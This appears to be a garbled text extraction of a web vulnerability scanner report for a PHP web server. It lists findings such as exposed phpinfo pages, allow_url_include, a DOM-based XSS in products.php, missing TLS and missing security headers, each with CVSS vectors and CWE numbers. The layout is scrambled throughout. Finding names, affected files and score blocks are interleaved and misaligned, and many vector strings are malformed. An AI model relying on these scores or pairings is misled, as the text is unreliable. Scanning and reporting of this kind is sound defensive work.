Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-538
Variation

1



CvSSs4

CVSsS3

CVSS2

CWE
Affected items
Web Server

PHPinfo pages

Classification

CVSS4

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/NC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UIL:R/S:U/C:L/I:N/A:N
Base Score: 4.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Required

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-523
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N



CVSS3

CVSS2

CWE
Affected items

Web Server

PHP register_globals Is Enabled

Classification

CVSSs4

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-200
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 5.1

Attack Vector: Network



CVSsS3

CVSS2

CWE

Affected items

[phpinfo.php
PHP session.use_only_cookies Is Disabled

Classification

CVSS4

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Base Score: 4.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Required

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not defined
Target Distribution: Not_defined

CWE-1108
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/
SC:L/SI:L/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None



CVSS3

CVSS2

CWE
Affected items

[phpinfo.php
Source Code Disclosure

Classification

CvSS4

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: Low
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:N
Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Required

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Base Score: 0.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-598

Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 8.7

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:



CVSS3

CVSS2

CWE

Affected items

Web Server

SSL/TLS Not Implemented

Classification

CVSsSs4

High

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Base Score: 7.5

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: High

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-538

Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/NVC:L/VI:L/VA:N/
SC:N/SI:N/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: Low



CVSS3

CVSS2

CWE
Affected items

Web Server
User controllable tag parameter (DOM-based)

Classification

CVSS4

Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Base Score: 5.4

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Required

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: Low

Availability Impact: None

Base Score: 5.8

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-319
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/NC:N/VI:L/VA:N/
SC:L/SI:N/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:



Low

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: Low

Availability Impact: None

CVSS3

Base Score: 4.3
Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None
Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: None

CVSS2 Exploitability: Not_defined
Remediation Level: Not_defined
Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE CWE-79
Affected items Variation
[products.php 1

Vulnerable package dependencies [medium]

Classification

CWE CWE-1104
Affected items Variation
/vendor/installed.json 1

Apache mod_negotiation filename bruteforcing

Classification

CVss4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N
Base Score: 6.9
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None



CVSS3

CVSS2

CWE
Affected items

Web Server
Insecure Frame (External)

Classification

CvsSS4

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Proof of concept
Remediation Level: Workaround

Report Confidence: Uncorroborated
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-538
Variation

1

CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:A/VC:L/VI:L/VA:L/
SC:L/SI:L/SA:L

Base Score: 1.8

Attack Vector: Network

Attack Complexity: High

Privileges Required: High

User Interaction: Active

Confidentiality Impact to the Vulnerable System:



CVSS3

CVSS2

CWE
Affected items

[process.php
PHP allow_url_fopen Is Enabled

Classification

CVSS4

Low

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: Low
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: Low
Availability Impact to the Subsequent System: Low

CVSS:3.1/AV:N/AC:H/PR:H/UIL:R/S:C/C:L/I:L/A:L
Base Score: 5.1

Attack Vector: Network

Attack Complexity: High

Privileges Required: High

User Interaction: Required

Scope: Changed

Confidentiality Impact: Low

Integrity Impact: Low

Availability Impact: Low

Base Score: 4.6

Access Vector: Network_accessible
Access Complexity: High

Authentication: Single

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: Partial

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-829
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None



CVSS3

CWE
Affected items

[phpinfo.php
PHP allow_url_include Is Enabled

Classification

CVSS4

CVSS3

CWE

Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

CWE-829

Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

CWE-829



Affected items

[phpinfo.php
PHP display_errors Is Enabled

Classification

CVSS4

CVSS3

CVSS2

CWE

Affected items

Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UIL:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-209

Variation



[phpinfo.php
PHP open_basedir Is Not Configured

Classification

CVSS4

CVSS3

CVSS2

CWE
Affected items

[phpinfo.php

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:N/VC:L/VI:L/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Base Score: 6.5

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: Low

Availability Impact: None

Base Score: 6.4

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-664
Variation

1



[Possible] Internal IP Address Disclosure

Classification

CVSS4

CVSS3

CVSS2

CWE

Affected items

Web Server

Possible sensitive directories

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UIL:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-200
Variation

1



Classification

Cvss4

CVSS3

CVSS2

CWE
Affected items

Web Server

Possible virtual host found

Classification

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:L/I:N/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-200
Variation

1



CvSSs4

CVSsS3

CVSS2

CWE
Affected items

Web Server

Programming Error Messages

Classification

CVSS4

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-200
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N



CVSS3

CVSS2

CWE
Affected items

Web Server

TRACE Method enabled

Classification

CVSSs4

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-209
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:A/NVC:N/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 0.0

Attack Vector: Network



CVSsS3

CVSS2

CWE
Affected items

Web Server
Version Disclosure (PHP)

Classification

CVSS4

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:N
Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Required

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Base Score: 0.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not defined
Target Distribution: Not_defined

CWE-489
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N/E:P

Base Score: 5.5

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None



CVSS3

CVSS2

Affected items

Web Server

O Content Security Policy (CSP) Not Implemented

Classification

CVSS4

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Base Score: 0.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:A/VC:N/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None



CVSS3

CVSS2

CWE
Affected items

Web Server
O Cross-Origin-Embedder-Policy (COEP) Not Implemented

Classification

CVSS4

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UIL:R/S:C/C:N/I:N/A:N
Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Required

Scope: Changed

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Base Score: 0.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-1021
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None



CWE
CWE
Affected items

Web Server
O Cross-Origin Opener Policy (COOP) Not Implemented

Classification

CvSs4

CVvsS3

CWE
CWE
Affected items

Web Server

O Error page web server version disclosure

Classification

Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CWE-203
CWE-359
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:A/VC:N/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UIL:R/S:C/C:N/I:N/A:N
Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Required

Scope: Changed

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

CWE-942
CWE-1022
Variation

1



CvSS4

CVSsS3

CVSS2

CWE
Affected items

Web Server

O Generic Email Address Disclosure

Classification

CVSS4

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-200
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/
SC:N/SI:N/SA:N



CVSS3

CVSS2

CWE
Affected items

Web Server

O Permissions-Policy header not implemented

Classification

CVSSs4

Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Base Score: 0.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-200
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:A/NVC:N/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 0.0

Attack Vector: Network



CVsS3

CVSS2

CWE
Affected items

Web Server
O [Possible] Internal Path Disclosure (Windows)

Classification

CVSS4

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UIL:R/S:C/C:N/I:N/A:N
Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Required

Scope: Changed

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Base Score: 0.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not defined
Target Distribution: Not_defined

CWE-1021
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None



CVSS3

CVSS2

CWE
Affected items

Web Server
